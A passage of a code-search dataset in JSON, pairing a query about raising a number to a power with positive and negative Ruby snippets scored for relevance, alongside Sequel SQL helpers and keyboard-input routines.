"text": "def attribute_alias(name)\r\n if column_names.include?(name.to_s) || !respond_to?(:fields_column)\r\n attribute_aliases[name.to_s]\r\n else\r\n name\r\n end\r\n end",
"title": ""
},
{
"docid": "8b9714dbf1d0f6b885194956e2829566",
"score": "0.5478918",
"text": "def complex_expression_sql_append(sql, op, args)\n case op\n when :'||'\n super(sql, :+, args)\n when :<<, :>>\n complex_expression_emulate_append(sql, op, args)\n when :LIKE, :\"NOT LIKE\"\n sql << '('\n literal_append(sql, args[0])\n sql << (op == :LIKE ? ' REGEXP ' : ' NOT REGEXP ')\n pattern = String.new\n last_c = ''\n args[1].each_char do |c|\n if c == '_' and not pattern.end_with?('\\\\') and last_c != '\\\\'\n pattern << '.'\n elsif c == '%' and not pattern.end_with?('\\\\') and last_c != '\\\\'\n pattern << '.*'\n elsif c == '[' and not pattern.end_with?('\\\\') and last_c != '\\\\'\n pattern << '\\['\n elsif c == ']' and not pattern.end_with?('\\\\') and last_c != '\\\\'\n pattern << '\\]'\n elsif c == '*' and not pattern.end_with?('\\\\') and last_c != '\\\\'\n pattern << '\\*'\n elsif c == '?' and not pattern.end_with?('\\\\') and last_c != '\\\\'\n pattern << '\\?'\n else\n pattern << c\n end\n if c == '\\\\' and last_c == '\\\\'\n last_c = ''\n else\n last_c = c\n end\n end\n literal_append(sql, pattern)\n sql << \" ESCAPE \"\n literal_append(sql, \"\\\\\")\n sql << ')'\n when :ILIKE, :\"NOT ILIKE\"\n super(sql, (op == :ILIKE ? :LIKE : :\"NOT LIKE\"), args)\n when :extract\n sql << 'datepart('\n literal_append(sql, args[0])\n sql << ','\n literal_append(sql, args[1])\n sql << ')'\n else\n super\n end\n end",
"title": ""
},
{
"docid": "e70947c009f5954de8ebb5e61ee0d2d5",
"score": "0.5468877",
"text": "def alias(alias_name)\n clone.alias! alias_name\n end",
"title": ""
},
{
"docid": "7d23a6f73158a3e0ae6fccc09359dd66",
"score": "0.54634535",
"text": "def select_join_sql(sql)\n if js = @opts[:join]\n js.each do |j|\n literal_append(sql, j)\n sql << ')'\n end\n end\n end",
"title": ""
},
{
"docid": "ff89642bc245229fe98345bf5a9529e5",
"score": "0.5462915",
"text": "def anonymize_order(clause)\n (sort_unsafe_for_anon?(@sort) ? 'anonymous, ' : '') + clause\n end",
"title": ""
},
{
"docid": "47ab68616252a01d22129f8774d06409",
"score": "0.5461518",
"text": "def sql_string_join(joiner=nil)\n if joiner\n args = self.inject([]) do |m, a|\n m << a\n m << joiner\n end\n args.pop\n else\n args = self\n end\n args = args.collect{|a| a.is_one_of?(Symbol, ::Sequel::SQL::Expression, ::Sequel::LiteralString, TrueClass, FalseClass, NilClass) ? a : a.to_s}\n ::Sequel::SQL::StringExpression.new(:'||', *args)\n end",
"title": ""
},
{
"docid": "76c49cfdc483cde9de59e11d985e9494",
"score": "0.54539627",
"text": "def column_all_sql_append(sql, ca)\n qualified_identifier_sql_append(sql, ca.table, WILDCARD)\n end",
"title": ""
}
] |
3c86450bab7f827738f3826a1895bb2a
|
Raise one number to the power of another number
|
[
{
"docid": "2ac36574ff4dfb98baf819f33fe353bd",
"score": "0.7280186",
"text": "def power(a, b)\n return a**b\nend",
"title": ""
}
] |
[
{
"docid": "ecfa643e45f01a6645143b5c684e47a7",
"score": "0.7970786",
"text": "def raise_to_power(x, y)\n #every shift left is like a * 2\n #11000\nend",
"title": ""
},
{
"docid": "c8a70f4eeb0e7d82b5dac3928e20a33b",
"score": "0.78095144",
"text": "def power(curr_value, to_power)\n curr_value**to_power\nend",
"title": ""
},
{
"docid": "de38560b69a5f2e2d7bd1ee772fa6bbc",
"score": "0.7700825",
"text": "def power(base, power)\n base ** power\nend",
"title": ""
},
{
"docid": "84c2139a9a6f1275f7c322a4fe4277bf",
"score": "0.76480633",
"text": "def power(num, power)\n\tnum**power\nend",
"title": ""
},
{
"docid": "18137aa4bbb633cc541c20cd5743a916",
"score": "0.76014996",
"text": "def power(a,b)\n a.to_i ** b.to_i\nend",
"title": ""
},
{
"docid": "7b9bba273bec09133c795bbd62b015fb",
"score": "0.75915253",
"text": "def power(base, power)\r\n base ** multiply(power, 1)\r\nend",
"title": ""
},
{
"docid": "5b1185ec837bceac3aaac479637096e8",
"score": "0.752054",
"text": "def power(num, power)\r\n num ** power\r\nend",
"title": ""
},
{
"docid": "bea3ebab560868b36dd416790027ec3b",
"score": "0.74015766",
"text": "def #power(a,b)\n\ta ** b\nend",
"title": ""
},
{
"docid": "d5236d26e938979776051a08c4225cd4",
"score": "0.73692155",
"text": "def power(base, exponent)\n result = 1\n exponent.times { result *= base }\n result\nend",
"title": ""
},
{
"docid": "fc806c2e8dafe105aee51b89a6179a55",
"score": "0.7336581",
"text": "def power(base, exp)\n return base ** exp\nend",
"title": ""
},
{
"docid": "9194d5c3bcf85f5e26e407dd6ac8c0c7",
"score": "0.7295432",
"text": "def power(n1, n2)\r\n n1.to_i ** n2.to_i\r\nend",
"title": ""
},
{
"docid": "ffab9526b38d8af8eccae6b2f4e7d660",
"score": "0.7291049",
"text": "def power(base,exponent)\n\n return base ** exponent\nend",
"title": ""
},
{
"docid": "b8710afbcb0fc9d4a3f492f844b1877a",
"score": "0.7284207",
"text": "def power(nb1, nb2)\n return nb1 ** nb2\nend",
"title": ""
},
{
"docid": "d3ed845cff12e622523ddcd600ada4aa",
"score": "0.72784036",
"text": "def power(n1, n2)\n n1 ** n2\nend",
"title": ""
},
{
"docid": "cdeea98c1ff24733f46ae10facdfe6d9",
"score": "0.72715485",
"text": "def power(base, exponent)\n total = 1\n\n exponent.times do\n total *= base\n end\n\n return total\nend",
"title": ""
},
{
"docid": "a0acd042aa95cc358734d476cf5c276b",
"score": "0.72614247",
"text": "def rpower(n) end",
"title": ""
},
{
"docid": "8ad9df3b28ca5a899f859c21e52d8fe2",
"score": "0.72576904",
"text": "def power a, b\n\ttotal = a\n\twhile b > 1\n\t\ttotal = total * a\n\t\tb = b - 1\n\tend\n\ttotal\nend",
"title": ""
},
{
"docid": "e0124efec6aba036987be240e516a7a5",
"score": "0.7218929",
"text": "def power_it(number_1, number_2)\n number_1 ** number_2\nend",
"title": ""
},
{
"docid": "6200bc843bc6e0f3e6cfed1ccca31306",
"score": "0.7209128",
"text": "def power(num1, num2)\n return num1**num2\nend",
"title": ""
},
{
"docid": "6200bc843bc6e0f3e6cfed1ccca31306",
"score": "0.7209128",
"text": "def power(num1, num2)\n return num1**num2\nend",
"title": ""
},
{
"docid": "64f572d233920121e24b0edaf89c4cf0",
"score": "0.72068936",
"text": "def pow (base_num , pow_num)\n results=1\n pow_num.times do \n results*=base_num\n end \n results\nend",
"title": ""
},
{
"docid": "8f4429a9f102113053b1c00c0adae6c1",
"score": "0.71799815",
"text": "def power(base, exponent)\n return nil if exponent < 0\n\n return 1 if exponent == 0\n\n value = base\n\n (exponent - 1).times do value *= base end\n\n value\nend",
"title": ""
},
{
"docid": "9b00b8b47531e6c8d69c8ce232b663da",
"score": "0.71756405",
"text": "def power (n1, n2)\n\tn = n1 ** n2\n\treturn n\nend",
"title": ""
},
{
"docid": "ec5b3b324adbe38fc0835d078276764e",
"score": "0.71647906",
"text": "def power(n1, n2)\n return n1**n2\nend",
"title": ""
},
{
"docid": "8fa6782dcb0ec7283beadbefdbba1c37",
"score": "0.71463156",
"text": "def power (num, exponent)\n if exponent == 0\n result = 1\n elsif exponent == 1\n result = num\n else\n result = multiply(num, num)\n (exponent-2).times { result = multiply(result, num) }\n result\n end\nend",
"title": ""
},
{
"docid": "191fb5ddc0f75dc82924e56f598b392d",
"score": "0.71384835",
"text": "def pow(base, exponent)\n\n result = 1\n exponent.times do \n result = base.to_i * result\n end\n result\nend",
"title": ""
},
{
"docid": "2ff30b5385d5c20088216ae56553654a",
"score": "0.7130439",
"text": "def power_of(num, exponent)\n product = multiply(num, num)\n \n (exponent - 2).times { product *= num }\n\n product\nend",
"title": ""
},
{
"docid": "573419b0dcd055e064a26e81b5bfe647",
"score": "0.7129742",
"text": "def raise_to_power_brute(x, y)\n result = x\n\n while y > 1\n result *= x\n y -= 1\n end\n\n result\nend",
"title": ""
},
{
"docid": "4a95ab1ac89df36c83ad29f1d74c59fe",
"score": "0.71149224",
"text": "def power(x,y)\n\treturn x**y\nend",
"title": ""
},
{
"docid": "ad20176bd743c683243338a23f444dda",
"score": "0.7111595",
"text": "def pow base, p\n base ** p\n end",
"title": ""
},
{
"docid": "192a2f173f17908dc77574ffdc42c34d",
"score": "0.7103333",
"text": "def ^(pow)\r\n\t\tpower(pow)\r\n\tend",
"title": ""
},
{
"docid": "b659dd255f80eb1cd9c0aa89b3c5b0d3",
"score": "0.70938396",
"text": "def power(base, exponent)\n exponent <= 1 ? base : base * (power base, (exponent - 1))\nend",
"title": ""
},
{
"docid": "f79c4b58dfce746e0cf20139e03a3b2b",
"score": "0.70879036",
"text": "def power(input1, input2)\n input1 ** input2\nend",
"title": ""
},
{
"docid": "057792f6bdcea1c863621eb150a1b9bf",
"score": "0.7075176",
"text": "def pow(base_num, pow_num)\n result = 1\n pow_num.times do |index|\n result = result * base_num\n end\n\n return result\nend",
"title": ""
},
{
"docid": "d6b836bf67bbf76f911d0f0e4f5feee6",
"score": "0.70684314",
"text": "def power(num, exponent)\n result = num\n (2..exponent).each { result = multiply(result, num) }\n result\nend",
"title": ""
},
{
"docid": "ce6b281e0eb1424908c78483b0b6fc02",
"score": "0.7054855",
"text": "def pow(base_num, pow_num)\n result = 1\n pow_num.times do\n result = result * base_num\n end\n return result\nend",
"title": ""
},
{
"docid": "e5646c1f15780b71003d2753df7e3327",
"score": "0.70387423",
"text": "def power(x,y)\n x**y\nend",
"title": ""
},
{
"docid": "7c18011a9343476a9dd8fdccfcb8010f",
"score": "0.7024607",
"text": "def power(num,pow)\n if pow == 0\n num\n else\n total = 1\n count = 0\n while count < pow\n total *= num\n count += 1\n end\n return total\n end\nend",
"title": ""
},
{
"docid": "f54ee32ecce8a856a89d43300b5bb82d",
"score": "0.7003284",
"text": "def pow(a,b)\n power=1\n for i in 1..b\n power=power*a\n end\n return power\nend",
"title": ""
},
{
"docid": "3911c319d1524131475e26ced5f56786",
"score": "0.69638926",
"text": "def exponent_1(base, power)\n\treturn 1 if power == 0\n\tlesser_power = power - 1\n\tbase_to_the_lesser_power = exponent_1(base, lesser_power)\n\tbase * base_to_the_lesser_power\nend",
"title": ""
},
{
"docid": "c766efd774c90e90690a25c1ba3e06a4",
"score": "0.69506073",
"text": "def exponentiation(base, power)\n return 1 if power == 0\n base * exponentiation(base, power - 1)\nend",
"title": ""
},
{
"docid": "d7be0386d795a3f51d48e8a680c39211",
"score": "0.694725",
"text": "def power (x,y)\n return x**y \nend",
"title": ""
},
{
"docid": "9b283e751365beca8f47579c78742b7a",
"score": "0.69414425",
"text": "def __power(other) # [\n other = Maglev::Type.coerce_to( other, Fixnum, :to_int)\n kind = @special\n if kind._not_equal?(0) # not finite\n return self.class.__nan\n elsif self.zero?\n if other > 0\n return self.class.__zero(1)\n elsif other == 0\n return self.class.__from_integer( 1 )\n else\n return self.class.__infinity(1)\n end\n end\n if other == 0\n one = self.class.__from_integer( 1 )\n if self == one\n return one\n end\n end\n if other < 0\n pos_pwr = self.__power( 0 - other )\n one = self.class.__from_integer( 1 )\n q = one.div( pos_pwr )\n return q\n end\n nd = @digits ** other\n if (@sign == -1)\n nsign = (other & 1) == 0 ? 1 : -1 # even arg --> positive result\n else\n nsign = 1\n end\n nexp = @exp * other\n arr = __reduce_trailing_zeros(nd)\n nd = arr[0]\n nexp += arr[1]\n res = self.class.allocate\n res.__init_normal( nsign, nd, nexp)\n res.__set_precision(UNLIM_PRECISION)\n end",
"title": ""
},
{
"docid": "0f894daee4cf915e74dbd7dacf2ecd6b",
"score": "0.6928305",
"text": "def pow(base,exponent)\n base**exponent\n end",
"title": ""
},
{
"docid": "36e4ebf95cb812bbdc10da1698ccb87c",
"score": "0.6927601",
"text": "def power(n)\n Functors.power(n, &self)\n end",
"title": ""
},
{
"docid": "e8dd0b554dd783afa1f7626c2d311486",
"score": "0.69026953",
"text": "def power_to_n(num, power)\n result = 1\n power.times { result = multiply(result, num) }\n result\nend",
"title": ""
},
{
"docid": "62160fb7a01382f68ba1cff5a6ddbc30",
"score": "0.68977445",
"text": "def num_to_power(num, power)\n # count = 1\n return 1 if power == 0\n return num if power == 1\n num_multiply = power / 2\n product = 1\n num_multiply.times do\n product *= multiply(num, num)\n end\n if power % 2 == 1\n product *= num\n end\n product\nend",
"title": ""
},
{
"docid": "2d2e71902c159eaddc152ad1858da5fa",
"score": "0.6889663",
"text": "def power(base, exp)\n i = 0\n output = 1\n\n while i < exp\n output *= base\n i += 1\n end\n return output\nend",
"title": ""
},
{
"docid": "141793c458570fb9cd52ba1d9efda7b7",
"score": "0.6887293",
"text": "def power(exp)\n proc { |base| base**exp}\n end",
"title": ""
},
{
"docid": "e20e183471a280964c0284d113b52c40",
"score": "0.68814373",
"text": "def exponentiate(number, power)\n power = power.to_int\n puts \"#{number} ** #{power} = #{number ** power}\\n\"\nend",
"title": ""
},
{
"docid": "7a381999ba127b8125d7ffcaa6ed69e1",
"score": "0.6878075",
"text": "def power_of_n(num, exponent)\n num ** exponent\nend",
"title": ""
},
{
"docid": "2de1f9fc4285cdef16e73e35bb8e5487",
"score": "0.68780637",
"text": "def rpower(arg0)\n end",
"title": ""
},
{
"docid": "3d719c71366e97f3f5f7ae0809eee021",
"score": "0.68683183",
"text": "def power(a,b)\n @a=a\n @b=b\n\n return @a**@b\n\nend",
"title": ""
},
{
"docid": "e062c4ac7ba240d3b607213ff0a4a851",
"score": "0.6867188",
"text": "def power(base, exponent)\n total = 1\n\n # we don't actually need this\n # if exponent == 1\n # total = base\n # elsif exponent == 0\n # total = 1\n # end\n # But what if the exponent were negative?\n\n (exponent.abs).times do\n total = multiply(total, base)\n end\n\n if exponent < 0\n total = (1.0 / total).to_r\n end\n\n total\nend",
"title": ""
},
{
"docid": "f0094989d173d117a45209180af59af5",
"score": "0.68652123",
"text": "def power(b, n)\n\n\t# b^n.to_i\n\n\tb ** n\n\nend",
"title": ""
},
{
"docid": "bc72aeaaf4b2e4dcdc85536cf1b57844",
"score": "0.68466717",
"text": "def power(n)\n n ** 2\nend",
"title": ""
},
{
"docid": "533286df5245da9a0f189da61ebb8ebc",
"score": "0.68403953",
"text": "def powerI(power, base)\n acc = 1\n power.times { acc *= base }\n return acc\nend",
"title": ""
},
{
"docid": "4e53d455a1635e5241dc4890c638fda4",
"score": "0.6835615",
"text": "def ui_pow(base, exp)\n result = 1;\n while (exp)\n if (exp & 1)\n result *= base\n end\n exp >>= 1;\n base *= base\n end\n if(exp==0)\n result=base\n end\n return result\nend",
"title": ""
},
{
"docid": "319d6e9410cdcde8e6be7af84a6baa4f",
"score": "0.68347836",
"text": "def power_to_the_n(number, power)\n return 1 if power == 0\n result = 1\n while power > 0\n result = multiply(result, number)\n power -= 1\n end\n result\nend",
"title": ""
},
{
"docid": "370c42d8278b3b682c9f14fbd0f71d44",
"score": "0.68341017",
"text": "def pow(base, exponent)\n\n result = 1\n\n exponent.times do\n result = result * base\n end\n\n return result\n \n end",
"title": ""
},
{
"docid": "c0778b585e373146a1da31cad0d2e2c8",
"score": "0.682522",
"text": "def exponent_v1(base, power)\n return 1 if power <= 0\n base * exponent_v1(base, power-1)\nend",
"title": ""
},
{
"docid": "131bc4742af07bd23efe4c99efd64f2d",
"score": "0.68199146",
"text": "def power_of_n(n, power)\n result = 1\n power.times {result = multiply(n, result)} # similar to recursion\n result\nend",
"title": ""
},
{
"docid": "845409e13aa20bbb70368041ec7f0bfa",
"score": "0.6813503",
"text": "def power(base,exponent)\n i = 0\n output = 1\n while i < exponent\n output = output * base\n i += 1\n end\n return output\nend",
"title": ""
},
{
"docid": "066be4fefe24a33967e2407d59e89a6d",
"score": "0.6803498",
"text": "def power(base,exponent)\n i=1\n output = base\n while i<exponent\n output = output*base\n i += 1\n end\n return output\nend",
"title": ""
},
{
"docid": "568c62bc1b39bc86ba829947a2237f44",
"score": "0.6800802",
"text": "def power(n)\n if n.respond_to?(:to_int)\n n = n.to_int\n else\n raise TypeError, \"#{n.inspect} cannot be converted to an integer\"\n end\n if n >= 0\n (1..n).inject(identity) { |p, e| p * self }\n else # negative powers are taken to be powers of the inverse\n -power(-n)\n end\n end",
"title": ""
},
{
"docid": "e3212a5e5fe6049e84f3c96f722940a5",
"score": "0.67987657",
"text": "def expotential(num, power)\n result = 1\n loop do\n result = multiply(result, num)\n power -= 1\n break if power == 0\n end\n result\nend",
"title": ""
},
{
"docid": "22bab409ac5256858f21a1de944dc570",
"score": "0.67701596",
"text": "def exponent1(base, power)\n\treturn 1 if power == 0\n\tbase * exponent1(base, power - 1)\nend",
"title": ""
},
{
"docid": "cd7ebe67d3e3f9d5e42590d46dff1348",
"score": "0.6741884",
"text": "def power(base, exponent)\n i = \n output = 1\n while i <= exponent\n output = output * base\n i += 1\n end \n return output\nend",
"title": ""
},
{
"docid": "14c30afb94d1a1bd120ac00f7f5d8081",
"score": "0.67179316",
"text": "def power(base, exponent)\n return (0...exponent).inject(1) { |memo| memo * base } if exponent >= 0\n (exponent...0).inject(1.0) { |memo| memo * 1/base }\nend",
"title": ""
},
{
"docid": "8cad0023989744ba23f59a5234d85599",
"score": "0.6710154",
"text": "def rec_exp_1(base, power)\nend",
"title": ""
},
{
"docid": "cd7e7c4e5797626360ae8dc87ac17515",
"score": "0.6707377",
"text": "def mod_pow(base, power, mod)\n result = 1\n while power > 0\n result = (result * base) % mod if power & 1 == 1\n base = (base * base) % mod\n power >>= 1;\n end\n result\nend",
"title": ""
},
{
"docid": "ba4c177f78333ef411caad56aa15707f",
"score": "0.66773254",
"text": "def power(base, exponent)\n if !base.is_a?(Integer) || !exponent.is_a?(Integer)\n return nil\n else \n product = 1\n (1..exponent).each do\n product *= base\n end\n return product\n end\nend",
"title": ""
},
{
"docid": "1c8a4ddf02f8408fd6214c018c04bda0",
"score": "0.6659114",
"text": "def power(n, exp)\n total = 1\n 1.upto(exp) do |num|\n total = multiply(n, total)\n end\n total\nend",
"title": ""
},
{
"docid": "38728b2d546807f2e0602336d7e58440",
"score": "0.6655959",
"text": "def power!(p0) end",
"title": ""
},
{
"docid": "893e55f064f9aff2b3b6bd1123c7db90",
"score": "0.66510665",
"text": "def power(other)\n one = BigDecimal(\"1\")\n if !self.finite?\n return BigDecimal(\"NaN\")\n elsif other.zero? or self == 1\n return one\n elsif self.zero?\n if other > 0\n return BigDecimal(\"0\")\n else\n return BigDecimal(\"Infinity\")\n end\n elsif other < 0\n return one / (self ** other.abs)\n elsif !self.exponent.zero?\n base = BigDecimal([@sign, RADIX, @digits].join)\n exp = self.exponent\n n = base ** other\n return BigDecimal([SIGNS[n <=> 0], RADIX, n.digits, EXP, (exp * other) + n.exponent].join)\n elsif other == 1\n return self\n elsif other % 2 == 1\n return self * (self ** (other - 1))\n else\n return (self * self) ** (other / 2)\n end\n end",
"title": ""
},
{
"docid": "6e17b6ebfcf43b3ec36eb80974710464",
"score": "0.6650989",
"text": "def power(bas,exponent)\n i = 1\n resultat = bas\n while i < exponent\n resultat *= bas\n i += 1\n end\n return resultat\nend",
"title": ""
},
{
"docid": "1ac491359b9f4529a6bc4d54b72ae6ba",
"score": "0.66444916",
"text": "def power(num, n)\n return num if n == 1\n multiply(num, power(num, n - 1))\nend",
"title": ""
},
{
"docid": "964d1359c91bc03f82bc407066a0db92",
"score": "0.6643423",
"text": "def power_to_the_n(num, power)\n if power == 0\n 1\n elsif power == 1\n num\n else \n counter = 2\n total = multiply(num, num)\n while counter < power\n total = multiply(total, num)\n counter += 1\n end\n total \n end \nend",
"title": ""
},
{
"docid": "a13c88e14128d3f66b7a0cb9384695cf",
"score": "0.6641634",
"text": "def power_to_the(power, num)\n result = multiply(num, num)\n if power >=3\n (power - 2).times { result = result * num }\n end\n result\nend",
"title": ""
},
{
"docid": "274d5de2ff189d060289f88cf4b51495",
"score": "0.66167265",
"text": "def rec_exp_2(base, power)\nend",
"title": ""
},
{
"docid": "6a01b037cc4a6d4e04a2db034bc8af3e",
"score": "0.6613914",
"text": "def general_power(n, x)\n multiply(n, 1)**(x)\nend",
"title": ""
},
{
"docid": "2528480f5e4134720b607cd5d7f891ad",
"score": "0.6612874",
"text": "def power (*base_and_power)\n base_and_power.inject(:**)\nend",
"title": ""
},
{
"docid": "d6e458359078250406935616c41b27fc",
"score": "0.6590229",
"text": "def exponentm(num_1,num_2)\n return num_1 ** num_2\nend",
"title": ""
},
{
"docid": "75dfe8f44ead42f1bcc964ce59e1c160",
"score": "0.6585494",
"text": "def power2(key)\n self.class.power2(key)\n end",
"title": ""
},
{
"docid": "d484c2a869bc32c40ab76dc2c0f28da7",
"score": "0.65407145",
"text": "def pow(base, exponent) #(3, 4) ==> 3 * 3 * 3 * 3 = \n return 1 if exponent == 0 \n #return base if exponent == 1\n base * pow(base, exponent - 1)\nend",
"title": ""
},
{
"docid": "d0fc75b161241b44b59cd7bde83c4d20",
"score": "0.6525082",
"text": "def power(g,h)\n return g**h\nend",
"title": ""
},
{
"docid": "0cb9fe30b91dc2ab00e73392a87cd2c8",
"score": "0.6511446",
"text": "def exponent1(base, power)\n # if power equals zero , then 1 else (base * method(base,power - 1))\n if power == 0\n return 1\n else\n (base * exponent1(base, power - 1))\n end\nend",
"title": ""
},
{
"docid": "0b01c1ba47060729aa8357fa0723840a",
"score": "0.6511103",
"text": "def power(a,p)\n\ti=1\n\tpow=1\n\twhile i<=p do\n\t\tpow = pow*a\n\t\ti +=1\n\tend\n\tputs pow\nend",
"title": ""
},
{
"docid": "31aa36b37ec9522ad4bc949044cd26e2",
"score": "0.6505839",
"text": "def power(n1, n2)\n output = n1\n i = 0\n \n while i < n2\n i += 1\n output = output * n1\n \n end\n return output\nend",
"title": ""
},
{
"docid": "ccbaba60b1ced88ccaf341779ce17e65",
"score": "0.6496722",
"text": "def power(number, exponent)\n i = 0\n output = 1\n new_exponent = exponent.round\n if new_exponent < 0\n output = 1/power(number,(new_exponent * -1)).to_f\n return output\n end\n if new_exponent == 0\n return output\n end\n while i < new_exponent\n output = output * number\n i += 1\n end\n return output\nend",
"title": ""
},
{
"docid": "33739457c34d94f62fa6acc4ed2af8eb",
"score": "0.64784515",
"text": "def power(base, exponent)\n multiply = []\n exponent.times do\n multiply.push(base)\n end\n product = 1\n multiply.each { |i| product *= i}\n puts product\nend",
"title": ""
},
{
"docid": "42d3150d8a48d8944093ee3b0c30bb90",
"score": "0.644959",
"text": "def pow(base, y)\n result = 1\n for i in 0..(y - 1)\n result = result * base\n end\n puts \"\\n#{base}^(#{y}) = #{result}\\n\"\n end",
"title": ""
},
{
"docid": "c5880955140f51442cc8f2ba5bbbf337",
"score": "0.6438389",
"text": "def exp(base, power)\n return 1 if power == 0\n return base if power == 1\n base * exp(base, (power-1))\nend",
"title": ""
},
{
"docid": "584b5cb947af73cc64ecf72f762a121c",
"score": "0.64130545",
"text": "def exp1(base, power)\n return 1 if power <= 0\n exp1(base, power - 1) * base\nend",
"title": ""
},
{
"docid": "67ce01a9dcedbed3837e126e6a25509d",
"score": "0.64088905",
"text": "def pow(base_num, pow_num)\n result = 1\n pow_num.times do |index|#loop trough the code ex: if pow_num is = 3, the loop will trough 3 times.\n result = result * base_num\n end\n return result\nend",
"title": ""
},
{
"docid": "c5266cb39f4192a73611ccda70f6aa8a",
"score": "0.6388063",
"text": "def pow(signal)\n self.class.new(self, signal) { |a, b| a ** b }\n end",
"title": ""
},
{
"docid": "5d6a50541d3442086687f664fff18210",
"score": "0.63774663",
"text": "def power(num, n)\n if n == 0\n 1\n elsif n > 0\n multiply(power(num, n - 1), num)\n else\n 1 / power(num, -n).to_f\n end\nend",
"title": ""
},
{
"docid": "b6daf7ee3b11aa0accfeaf1a1f53fc03",
"score": "0.6367629",
"text": "def raiseToModulus a, b, n\n b < 0 and raise ArgumentError, \"negative exponent\"\n prod = 1\n a %= n\n until b.zero? do\n if b.odd?\n prod = (prod * a) % n\n end\n b /= 2\n a = (a ** 2) % n\n end\n prod\nend",
"title": ""
},
{
"docid": "b6daf7ee3b11aa0accfeaf1a1f53fc03",
"score": "0.6367629",
"text": "def raiseToModulus a, b, n\n b < 0 and raise ArgumentError, \"negative exponent\"\n prod = 1\n a %= n\n until b.zero? do\n if b.odd?\n prod = (prod * a) % n\n end\n b /= 2\n a = (a ** 2) % n\n end\n prod\nend",
"title": ""
},
{
"docid": "d84886f0578189e69a11ad0c7a6ddd1f",
"score": "0.63654906",
"text": "def power(n, e)\n if e == 0\n return 1\n elsif e == 1 \n return n\n else\n multiply(n, n**(e - 1))\n end\nend",
"title": ""
}
] |
c020376e1bfa1dc0b82125dc146ead2a
|
Check Input From Keyboard
|
[
{
"docid": "8575828564590c08536fe07b6260d3f1",
"score": "0.58715904",
"text": "def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end",
"title": ""
}
] |
[
{
"docid": "e4694707cff212e27f151383850c0e98",
"score": "0.69716513",
"text": "def get_key_down(char)\n STDIN.echo = false\n STDIN.raw!\n begin\n #reads input without blocking the thread\n #returns a string of pressed keys\n input = STDIN.read_nonblock(3)\n #check if the key was pressed\n if(input.include? char)\n return true\n end\n return false\n rescue Errno::EAGAIN\n return false\n end\nend",
"title": ""
},
{
"docid": "62f20658d3d861eb4062a6aa7b6c32c2",
"score": "0.68933636",
"text": "def input_ready?\n !WinAPI.kbhit.zero?\n end",
"title": ""
},
{
"docid": "62f20658d3d861eb4062a6aa7b6c32c2",
"score": "0.68933636",
"text": "def input_ready?\n !WinAPI.kbhit.zero?\n end",
"title": ""
},
{
"docid": "ac0844e7b94cea1d24e9ae82caa05927",
"score": "0.68274987",
"text": "def key_pressed?(key)\n SDL::Key.press?(key)\n end",
"title": ""
},
{
"docid": "223f5a64ebca6adb0eecac7802965071",
"score": "0.679606",
"text": "def get_keyboard_input\n c = read_char\n\n case c\n # when \" \"\n # \"SPACE\"\n # when \"\\t\"\n # :query\n when \"\\r\"\n :error\n # when \"\\n\"\n # \"LINE FEED\"\n when \"\\e\"\n :abort\n # when \"\\e[A\"\n # \"UP ARROW\"\n # :error\n # when \"\\e[B\"\n # \"DOWN ARROW\"\n # :error\n when \"\\e[C\"\n \"RIGHT ARROW\"\n :right\n when \"\\e[D\"\n \"LEFT ARROW\"\n :left\n when \"\\177\"\n :backspace\n when \"\\004\"\n :delete\n when \"\\e[3~\"\n :delete\n # when \"\\u0003\"\n # \"CONTROL-C\"\n # exit 0\n when /^.$/\n c\n else\n :error\n end\n end",
"title": ""
},
{
"docid": "805921405499e90010a198ec15db764c",
"score": "0.67917395",
"text": "def key_pressed\n if STDIN.ready?\n input = STDIN.read_nonblock(1) rescue nil\n if input == \"\\e\" \n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n end\n # STDIN.cooked!\n input\n\nend",
"title": ""
},
{
"docid": "119efe7c31ddb6a51f0b546921253bd5",
"score": "0.67646605",
"text": "def keypress\n return false unless key\n\n return true if key_defined? && keymap.use(key)\n\n return true if global_key? && keymap('_global_').use(key)\n\n Vedeu.log(type: :input, message: \"Key detected: #{key.inspect}\".freeze)\n\n false\n end",
"title": ""
},
{
"docid": "64d23582154596c9772fa32731ee6c6c",
"score": "0.6740967",
"text": "def input_keypad(input)\n\n $test_logger.log(\"Keypad input value '#{input}'\")\n\n raise \"Testability driver not connected!\" if !$test_ref.td_proc\n\n #Open new testability thread to input string\n $test_ref.exe_in_thread(\"input_keypad\"){sleep 0.5; $test_ref.td_proc.wait_type_confirm(input)}\n\n end",
"title": ""
},
{
"docid": "adc54bc9f6c4058230d9534126cae356",
"score": "0.67188835",
"text": "def pressed?(key)\n @input[key].detect { |k| @game.button_down?(k) }\n end",
"title": ""
},
{
"docid": "6ac17cf428ff0d5fa44c698669838b26",
"score": "0.66880244",
"text": "def input_check(check)\n input = gets.chomp.upcase\n if input == check\n system \"clear\"\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "853e831aa6e8e77a4191f7a9daa181aa",
"score": "0.659376",
"text": "def check_command\n if @keys_window.item == :reset\n reset_keys\n else\n open_input_window\n end\n end",
"title": ""
},
{
"docid": "d7d1fe64efcf1049ef49f538961a8ad8",
"score": "0.6580841",
"text": "def check_enter key\r\n\t\t\t\t\t\t\tkey == \"\" || key.match(/\\A[[:blank:]]+\\z/)\r\n\t\t\t\t\t\tend",
"title": ""
},
{
"docid": "607010a47de0788e22d3ba5428f0dfc5",
"score": "0.65727335",
"text": "def receive_input\n input = ''\n controls = %w(a s d w)\n until controls.include?(input)\n input = STDIN.getch\n abort 'escaped' if input == \"\\e\"\n end\n input\n end",
"title": ""
},
{
"docid": "fe50e748c16f2c2863979420ed1e4b55",
"score": "0.65681034",
"text": "def read\n Vedeu.log(type: :input, message: \"Waiting for user input...\\n\")\n\n if raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif fake_mode?\n @key ||= keypress\n\n if @key.nil?\n nil\n\n elsif click?(@key)\n Vedeu.trigger(:_mouse_event_, @key)\n\n elsif Vedeu::Input::Mapper.registered?(@key, name)\n Vedeu.trigger(:_keypress_, @key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, @key)\n\n else\n Vedeu.trigger(:key, @key)\n\n end\n\n elsif cooked_mode?\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"title": ""
},
{
"docid": "3ce9f48681cfd2d6710f51d5698faf37",
"score": "0.6556204",
